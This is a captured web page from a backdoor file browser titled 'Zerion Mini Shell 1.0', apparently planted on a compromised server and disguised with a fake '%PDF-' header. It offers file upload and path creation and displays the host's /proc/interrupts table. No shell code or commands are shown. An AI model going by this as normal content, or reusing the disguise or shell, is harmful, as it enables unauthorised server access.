%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/
Upload File :
Create Path :
Current File : //proc/self/root/proc/interrupts

           CPU0       CPU1       CPU2       
  0:        168          0          0   IO-APIC-edge      timer
  1:         10          0          0   IO-APIC-edge      i8042
  6:          3          0          0   IO-APIC-edge      floppy
  8:          0          0          0   IO-APIC-edge      rtc0
  9:          0          0          0   IO-APIC-fasteoi   acpi
 11:     940125          0          0   IO-APIC-fasteoi   uhci_hcd:usb1, virtio3
 12:         15          0          0   IO-APIC-edge      i8042
 14:          0          0          0   IO-APIC-edge      ata_piix
 15:          0          0          0   IO-APIC-edge      ata_piix
 24:          0          0          0   PCI-MSI-edge      virtio2-config
 25:        976          0          0   PCI-MSI-edge      virtio2-virtqueues
 26:          0          0          0   PCI-MSI-edge      virtio1-config
 27:          0          0          0   PCI-MSI-edge      virtio1-control
 28:          0          0          0   PCI-MSI-edge      virtio1-event
 29:   35510464   80511644   88198543   PCI-MSI-edge      virtio1-request
 30:          1          0          4   PCI-MSI-edge      virtio0-config
 31: 1044463723     100090          0   PCI-MSI-edge      virtio0-input.0
 32:        135       2960       3395   PCI-MSI-edge      virtio0-output.0
 33:    9935789  202033498   14480636   PCI-MSI-edge      virtio0-input.1
 34:        255       2299       3566   PCI-MSI-edge      virtio0-output.1
 35:    1150367    5009547 1969368619   PCI-MSI-edge      virtio0-input.2
 36:        343       3459       2997   PCI-MSI-edge      virtio0-output.2
NMI:          0          0          0   Non-maskable interrupts
LOC: 3036120739 3324640679 4221746710   Local timer interrupts
SPU:          0          0          0   Spurious interrupts
PMI:          0          0          0   Performance monitoring interrupts
IWI:   10143522    2262369    1625251   IRQ work interrupts
RTR:          0          0          0   APIC ICR read retries
RES:  517258247  512544572  521135228   Rescheduling interrupts
CAL:   57927658   40282091   42805841   Function call interrupts
TLB:   40373404   39527536   42364139   TLB shootdowns
TRM:          0          0          0   Thermal event interrupts
THR:          0          0          0   Threshold APIC interrupts
DFR:          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0   Machine check exceptions
MCP:      31356      31356      31356   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0   Posted-interrupt notification event
NPI:          0          0          0   Nested posted-interrupt event
PIW:          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0